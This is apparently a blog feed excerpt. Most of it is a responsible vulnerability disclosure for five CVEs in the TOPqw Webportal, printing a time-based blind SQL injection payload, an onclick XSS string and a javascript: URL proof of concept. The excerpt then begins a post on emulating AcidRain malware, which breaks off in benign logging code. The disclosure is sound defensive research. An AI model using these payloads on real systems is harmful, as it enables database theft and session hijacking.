      &lt;td&gt;CVE-2024-45877&lt;/td&gt;
      &lt;td&gt;Broken Access Control&lt;/td&gt;
      &lt;td&gt;High&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;CVE-2024-45879&lt;/td&gt;
      &lt;td&gt;Stored Cross-Site Scripting (XSS) in “QWKalkulation”&lt;/td&gt;
      &lt;td&gt;Medium&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;CVE-2024-45878&lt;/td&gt;
      &lt;td&gt;Stored Cross-Site Scripting (XSS) in “Stammdaten”&lt;/td&gt;
      &lt;td&gt;Medium&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;cves-in-detail&quot;&gt;CVEs in Detail&lt;/h2&gt;

&lt;h3 id=&quot;unauthenticated-sql-injection-cve-2024-45876&quot;&gt;Unauthenticated SQL Injection (CVE-2024-45876)&lt;/h3&gt;

&lt;p&gt;The login form of baltic-it TOPqw Webportal v1.35.283.2 in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/Apps/TOPqw/Login.aspx&lt;/code&gt; is vulnerable to SQL injection. The vulnerability exists in the POST parameter &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;txtUsername&lt;/code&gt;, which allows the manipulation of SQL queries. By exploiting this, it was possible to gain complete access over the database.&lt;/p&gt;

&lt;p&gt;Finding the SQL injection was actually quite simple. If a single quote (‘) was used in the username during the login, an SQL error message was returned. &lt;a href=&quot;#sql_login_1&quot;&gt;Figure 01&lt;/a&gt; shows such a request using Test as the username. The response contains a StackTrace with the SQL error message.&lt;/p&gt;

&lt;figure id=&quot;sql_login_1&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2024/11/sql-login-1.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2024/11/sql-login-1.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2024/11/sql-login-1.png&quot; alt=&quot;returned stacktrace when username contains a single quote&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2024/11/sql-login-1.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2024/11/sql-login-1.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2024/11/sql-login-1.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 01: A stacktrace is returned when the username contains a single quote (&apos;)&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;Thefore, this can be considered an error-based SQL injection. &lt;em&gt;sqlmap&lt;/em&gt; was used to easily prove exploitability. &lt;a href=&quot;#sql_login_2&quot;&gt;Figure 02&lt;/a&gt; shows a portion of the sqlmap enumerations. In addition to names, addresses, email addresses, and hashed passwords, files stored in the database could be accessed.  However, it was not possible to achieve remote code execution (xp_cmdshell was deactivated 😔) or write files to the server.&lt;/p&gt;

&lt;figure id=&quot;sql_login_2&quot; class=&quot;figure-posts&quot; style=&quot;width: 40%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2024/11/sql-login-2.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2024/11/sql-login-2.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2024/11/sql-login-2.png&quot; alt=&quot;exploitation of the sql injection&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2024/11/sql-login-2.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2024/11/sql-login-2.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2024/11/sql-login-2.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 02: Exploitation of the SQL Injection using sqlmap&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;h3 id=&quot;authenticated-sql-injection-cve-2024-45875&quot;&gt;Authenticated SQL Injection (CVE-2024-45875)&lt;/h3&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SaveNewUser&lt;/code&gt; function in TOPqw Webportal v1.35.287.1 in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/Apps/TOPqw/BenutzerManagement.aspx/SaveNewUser&lt;/code&gt;, is vulnerable to an authenticated SQL injection. The JSON object &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Username&lt;/code&gt; allows the manipulation of SQL queries. By exploiting this, it was possible to gain complete access over the database.&lt;/p&gt;

&lt;p&gt;If an administrative user creates a new user in the TOPqw Webportal and enters a single quote (‘) into the value of the JSON object &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Username&lt;/code&gt;, a 500 HTTP Error is returned. To illustrate this, the payload &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;foobar123456&lt;/code&gt; was used in the JSON object, as can be seen in &lt;a href=&quot;#sql_login_3&quot;&gt;Figure 03&lt;/a&gt;:&lt;/p&gt;

&lt;figure id=&quot;sql_login_3&quot; class=&quot;figure-posts&quot; style=&quot;width: 95%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2024/11/SQL1_zensiert.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2024/11/SQL1_zensiert.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2024/11/SQL1_zensiert.png&quot; alt=&quot;A single quote disrupts the SQL syntax and therefore returns a server error&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2024/11/SQL1_zensiert.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2024/11/SQL1_zensiert.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2024/11/SQL1_zensiert.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 03: The single quote disrupts the SQL syntax and therefore returns a server-side error&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;The single quote breaks out of the syntax of the current SQL query and this generates a server-side error. The existence of the vulnerability can be verified by the fact that if the same value with two single quotes (“) is inserted at the beginning  of the username, the application responds with a 200 HTTP and successfully creates the new user. For demonstration purposes, the payload &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;&apos;foobar123456&lt;/code&gt; was used for this, as shown in &lt;a href=&quot;#sql_login_4&quot;&gt;Figure 04&lt;/a&gt;:&lt;/p&gt;

&lt;figure id=&quot;sql_login_4&quot; class=&quot;figure-posts&quot; style=&quot;width: 95%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2024/11/SQL2_zensiert.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2024/11/SQL2_zensiert.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2024/11/SQL2_zensiert.png&quot; alt=&quot;Two single quotes preserve the syntax of the SQL query and no error occurs&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2024/11/SQL2_zensiert.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2024/11/SQL2_zensiert.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2024/11/SQL2_zensiert.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 04: Two single quotes preserve the syntax of the SQL query and no error occurs&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;This is due to the fact that two single quotes preserve the syntax of the SQL query and no error occurs. This demonstrates typical behavior of a SQL injection vulnerability.&lt;/p&gt;

&lt;p&gt;After detailed investigation, a  time-based blind SQL injection vulnerability was identified in this function. For easy exploitation of the vulnerability, the tool sqlmap was used. &lt;a href=&quot;#sql_login_5&quot;&gt;Figure 05&lt;/a&gt; shows the output of sqlmap with the malicious payload that was used to detect the vulnerability:&lt;/p&gt;

&lt;figure id=&quot;sql_login_5&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2024/11/sqlmap_zensiert.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2024/11/sqlmap_zensiert.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2024/11/sqlmap_zensiert.png&quot; alt=&quot;Exploitation of the time-based blind SQL Injection using sqlmap&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2024/11/sqlmap_zensiert.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2024/11/sqlmap_zensiert.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2024/11/sqlmap_zensiert.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 05: Exploitation of the time-based blind SQL Injection using sqlmap&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;As can be seen in the output, sqlmap used the following payload to verify the vulnerability:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;Username&quot;:&quot;123&apos; AND 2867=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND &apos;Zfbu&apos;=&apos;Zfbu&quot;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Let’s take a deep dive into understanding this payload. This time-based blind SQL injection payload consists of the following components:&lt;/p&gt;

&lt;h4 id=&quot;explanation-of-the-components&quot;&gt;Explanation of the Components:&lt;/h4&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;123&apos;&lt;/code&gt;:&lt;/p&gt;

    &lt;ul&gt;
      &lt;li&gt;The single quote (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;&lt;/code&gt;) is intended to close a previous SQL string or value, allowing us to inject our own SQL code.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AND 2867=(SELECT COUNT(*) FROM sysusers AS sys1, sysusers AS sys2, sysusers AS sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7)&lt;/code&gt;:&lt;/p&gt;

    &lt;ul&gt;
      &lt;li&gt;
        &lt;p&gt;This condition checks whether the value &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2867&lt;/code&gt; matches the result of the following &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SELECT COUNT(*)&lt;/code&gt; expression.&lt;/p&gt;
      &lt;/li&gt;
      &lt;li&gt;
        &lt;p&gt;The query counts the combinations of all rows in the system table &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sysusers&lt;/code&gt; by using multiple aliases (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sys1&lt;/code&gt; through &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sys7&lt;/code&gt;).&lt;/p&gt;
      &lt;/li&gt;
      &lt;li&gt;
        &lt;p&gt;By using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;COUNT(*)&lt;/code&gt; with multiple joins across the aliases of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sysusers&lt;/code&gt; table, the query calculates a large number of combinations. If the database configuration and the number of users in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sysusers&lt;/code&gt; produce this value, the condition &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2867 = ...&lt;/code&gt; will evaluate to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TRUE&lt;/code&gt;.&lt;/p&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AND &apos;Zfbu&apos;=&apos;Zfbu&lt;/code&gt;:&lt;/p&gt;

    &lt;ul&gt;
      &lt;li&gt;
        &lt;p&gt;This condition is always true since &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;Zfbu&apos;&lt;/code&gt; is equal to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;Zfbu&apos;&lt;/code&gt;.&lt;/p&gt;
      &lt;/li&gt;
      &lt;li&gt;
        &lt;p&gt;It primarily serves to close the SQL syntax correctly and ensure that the payload is syntactically valid.&lt;/p&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;As indicated by &lt;a href=&quot;#sql_login_5&quot;&gt;Figure 05&lt;/a&gt;, sqlmap enumerated six different databases and at this point, we were able to extract all data from these databases. In addition to names, addresses, email addresses, and hashed passwords, files stored in the database could be accessed. However, it was not possible to achieve remote code execution (xp_cmdshell was deactivated 😔) or write files to the server.&lt;/p&gt;

&lt;p&gt;It is important to emphasize that this vulnerability can only be exploited by authenticated users.
Authorized users are known contractual partners of the social authority who had to be explicitly created as users by the social authority.&lt;/p&gt;

&lt;h3 id=&quot;broken-access-control-cve-2024-45877&quot;&gt;Broken Access Control (CVE-2024-45877)&lt;/h3&gt;

&lt;p&gt;The TOPqw Webportal v1.35.283.2 is vulnerable to Broken Access Control in the User Management function in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/Apps/TOPqw/BenutzerManagement.aspx&lt;/code&gt;. This allows a low privileged user to access all modules in the web portal, view and manipulate information and permissions of other users, lock other users or unlock the own account, change the password of other users, create new users or delete existing users and view, manipulate and delete reference data.&lt;/p&gt;

&lt;p&gt;The navigation bar displays only those functions for which a user is authorized. However, all functions can be used by identifying the URL, as there are no server-side authorization checks. This means that any authenticated user can use&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/Apps/TOPqw/BenutzerManagement.aspx&lt;/code&gt; to view, edit, delete and create users.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/Apps/TOPqw/qwStammdaten.aspx&lt;/code&gt; to change social service data, for example to exploit &lt;a href=&quot;#stored-cross-site-scripting-xss-in-stammdaten-cve-2024-45878&quot;&gt;CVE-2024-45878&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/Apps/TOPqw/QWKalkulation/QWKalkulation.aspx&lt;/code&gt; to manipulate application information and files, such as replacing files with malicious files, or to exploit &lt;a href=&quot;#stored-cross-site-scripting-xss-in-qwkalkulation-cve-2024-45879&quot;&gt;CVE-2024-45879&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Similar to CVE-2024-45875, this can only be exploited by authenticated users.&lt;/p&gt;

&lt;h3 id=&quot;stored-cross-site-scripting-xss-in-qwkalkulation-cve-2024-45879&quot;&gt;Stored Cross-Site Scripting (XSS) in “QWKalkulation” (CVE-2024-45879)&lt;/h3&gt;

&lt;p&gt;The file upload function in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;QWKalkulation&lt;/code&gt; tool of TOPqw Webportal v1.35.287.1 in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/Apps/TOPqw/QWKalkulation/QWKalkulation.aspx&lt;/code&gt;, is vulnerable to stored Cross-Site Scripting (XSS).&lt;/p&gt;

&lt;p&gt;The file names of uploaded files were not validated properly and were inserted in an &lt;em&gt;onclick&lt;/em&gt; event handler. This made it possible to add any JavaScript to the event handler. The XSS payload we used for this specific case is the following:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;foo&apos;,alert(&apos;INJECTED&apos;));console.log(&apos;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This payload is embedded in the HTML document in the following way as shown in &lt;a href=&quot;#xss_qw1&quot;&gt;Figure 07&lt;/a&gt;:&lt;/p&gt;

&lt;figure id=&quot;xss_qw1&quot; class=&quot;figure-posts&quot; style=&quot;width: 95%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2024/11/xss_qw_html.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2024/11/xss_qw_html.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2024/11/xss_qw_html.png&quot; alt=&quot;The XSS payload preserves the syntax of the onclick event handler and pops up an alert box&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2024/11/xss_qw_html.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2024/11/xss_qw_html.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2024/11/xss_qw_html.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 7: The XSS payload preserves the syntax of the onclick event handler and pops up an alert box&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;foo&apos;&lt;/code&gt; terminates the string early, effectively ending the first part of the JavaScript statement in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FiletoDelete&lt;/code&gt; function and starting its own. After that follows &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alert(&apos;INJECTED&apos;)&lt;/code&gt;, which simply triggers an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alert&lt;/code&gt; dialog box displaying the text &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;INJECTED&lt;/code&gt;. The rest of the payload &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;);console.log(&apos;&lt;/code&gt; preserves the syntax of the original &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FiletoDelete&lt;/code&gt; function.&lt;/p&gt;

&lt;p&gt;This created an alert box for illustration purposes as can be seen in  &lt;a href=&quot;#xss_qw_popup&quot;&gt;Figure 08&lt;/a&gt;:&lt;/p&gt;

&lt;figure id=&quot;xss_qw_popup&quot; class=&quot;figure-posts&quot; style=&quot;width: 95%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2024/11/xss_qw_popup.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2024/11/xss_qw_popup.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2024/11/xss_qw_popup.png&quot; alt=&quot;Successful XSS attack that pops up an alert box&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2024/11/xss_qw_popup.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2024/11/xss_qw_popup.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2024/11/xss_qw_popup.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 8: Successful XSS attack that pops up an alert box when the file is deleted&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;However, the event handler is only executed if the file containing the XSS payload in its name is deleted. Therefore, it requires some social engineering for a successful exploit. Due to this reason, the risk level was downgraded from High to Medium.&lt;/p&gt;

&lt;h3 id=&quot;stored-cross-site-scripting-xss-in-stammdaten-cve-2024-45878&quot;&gt;Stored Cross-Site Scripting (XSS) in “Stammdaten” (CVE-2024-45878)&lt;/h3&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Stammdaten&lt;/code&gt; function of baltic-it TOPqw Webportal v1.35.283.2, in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/Apps/TOPqw/qwStammdaten.aspx&lt;/code&gt;, is vulnerable to stored Cross-Site Scripting (XSS).&lt;/p&gt;

&lt;p&gt;As a countermeasure against XSS, the use of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;&lt;/code&gt; followed by anything other than a space is prohibited in any modifyable data in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Stammdaten&lt;/code&gt; function. In addition, user input is HTML encoded and not included in HTML tags or other potentially vulnerable locations, with one exception. Authenticated users who are authorized to edit data (OR exploit &lt;a href=&quot;#broken-access-control-cve-2024-45877&quot;&gt;CVE-2024-45877&lt;/a&gt; 😉) can specify a URL to a service provider’s website. This URL is inserted into the href attribute of an anchor tag. It is not possible to break out of this attribute because special characters, including quotation marks, are encoded in HTML. However, it has not been considered that JavaScript can be used as a protocol.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;#xss_stammdaten&quot;&gt;Figure 07&lt;/a&gt; shows a simple proof of concept using the payload &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;javascript:alert(document.domain)&lt;/code&gt;. Unfortunately, as it was not possible to break out of the href attribute, the payload is only executed when a user clicks on the anchor tag. In our experience, the Javascript protocol trick actually works quite often, as it is little known to developers, and although modern web frameworks are good at ensuring that user input is always rendered in HTML-encoded form, this does not prevent the Javascript protocol from being used for XSS payloads.&lt;/p&gt;

&lt;figure id=&quot;xss_stammdaten&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2024/11/xss-stammdaten.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2024/11/xss-stammdaten.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2024/11/xss-stammdaten.png&quot; alt=&quot;The XSS payload is being executed&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2024/11/xss-stammdaten.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2024/11/xss-stammdaten.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2024/11/xss-stammdaten.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 07: After clicking the anchor tag, the XSS payload is executed&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;h2 id=&quot;remediation&quot;&gt;Remediation&lt;/h2&gt;

&lt;p&gt;bit baltic information technologies GmbH were cooperating actively with G DATA ADAN and baltic reacted quickly when notified of the vulnerabilities and fixed them immediately.&lt;/p&gt;

&lt;p&gt;All of the described vulnerabilities have been fixed in version 1.35.291, released on July 25, 2024, and updated in the production systems of all customers.&lt;/p&gt;

&lt;h2 id=&quot;timeline&quot;&gt;Timeline&lt;/h2&gt;

&lt;table&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;2024-01-08&lt;/td&gt;
      &lt;td&gt;Start of first penetration test&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2024-01-09&lt;/td&gt;
      &lt;td&gt;Reported unauthenticated SQL Injection&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2024-01-12&lt;/td&gt;
      &lt;td&gt;Confirmed that unauthenticated SQL Injection is fixed&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2024-01-12&lt;/td&gt;
      &lt;td&gt;End of first penetration test&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2024-01-15&lt;/td&gt;
      &lt;td&gt;Sent the detailed report of the first penetration test&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2024-04-03&lt;/td&gt;
      &lt;td&gt;Start of second penetration test (retests and test of functions that were broken during first penetration test)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2024-04-05&lt;/td&gt;
      &lt;td&gt;Reported authenticated SQL Injection&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2024-04-05&lt;/td&gt;
      &lt;td&gt;End of second penetration test&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2024-04-09&lt;/td&gt;
      &lt;td&gt;Sent the detailed report of the second penetration test&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2024-04-25&lt;/td&gt;
      &lt;td&gt;Issued first CVE request to MITRE (rejected)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2024-06-21&lt;/td&gt;
      &lt;td&gt;Issued second CVE request to MITRE (rejected)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2024-07-22&lt;/td&gt;
      &lt;td&gt;Issued CVE request to other CNA (rejected)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2024-07-25&lt;/td&gt;
      &lt;td&gt;bit baltic information technologies GmbH remediated all vulnerabilities in version 1.35.291&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2024-10-01&lt;/td&gt;
      &lt;td&gt;Issued third CVE request to MITRE (accepted)&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
</description>
        <pubDate>Mon, 11 Nov 2024 14:00:00 +0000</pubDate>
        <link>https://cyber.wtf/2024/11/11/topqw-webportal-cves/</link>
        <guid isPermaLink="true">https://cyber.wtf/2024/11/11/topqw-webportal-cves/</guid>
        
        <category>cves</category>
        
        <category>web</category>
        
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Destructive IoT Malware Emulation – Part 3 of 3 – Statistics</title>
        <description>&lt;p&gt;Welcome back to Part 3, the final part of our series on Destructive IoT Malware Emulation. If you’re new here, in &lt;a href=&quot;https://cyber.wtf/2024/03/28/destructive-iot-malware-emulation-part-1-of-3-environment-setup/&quot;&gt;Part 1&lt;/a&gt; we described how to set up the environment to emulate the destructive IoT malware, AcidRain. &lt;a href=&quot;https://adan.pages.gitlab.repository.corp.gdaag.de/cyber.wtf/2024/08/01/destructive-iot-malware-emulation-part-2-of-3-hooking-techniques/&quot;&gt;Part 2&lt;/a&gt; explained how and why we hooked some syscalls to fully emulate AcidRain.&lt;/p&gt;

&lt;p&gt;Ready for the next big step? We teased in Part 2 that we wanted to see how well the emulation works, but quantitatively.&lt;/p&gt;

&lt;p&gt;We already have robust logging for all the syscalls from Qiling itself. Out of personal interest, we wanted additional logging. First, we wanted to log all instructions so we might be able to color the execution path in IDA Pro or Ghidra. Additionally, we wanted a separate log for every process.&lt;/p&gt;

&lt;p&gt;Secondly, Qiling has the functionality to create a coverage file by itself, which we can load into IDA Pro or Ghidra.&lt;/p&gt;

&lt;p&gt;Sounds cool and fun, right? But as we said before, there’s still a bit to do, so let’s dig into it.&lt;/p&gt;

&lt;h2 id=&quot;logging&quot;&gt;Logging&lt;/h2&gt;
&lt;p&gt;To begin with, we create a directory for each emulation identified by the timestamp and sample name. Additionally, we create a result file for the entire emulation that contains information of all processes, and this file is named according to the emulation case.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# Create directory for resutls of current emulation
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result_path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sys_os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;dirname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ABSOLUTE_PATH&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;/results/&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;timestamp&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span 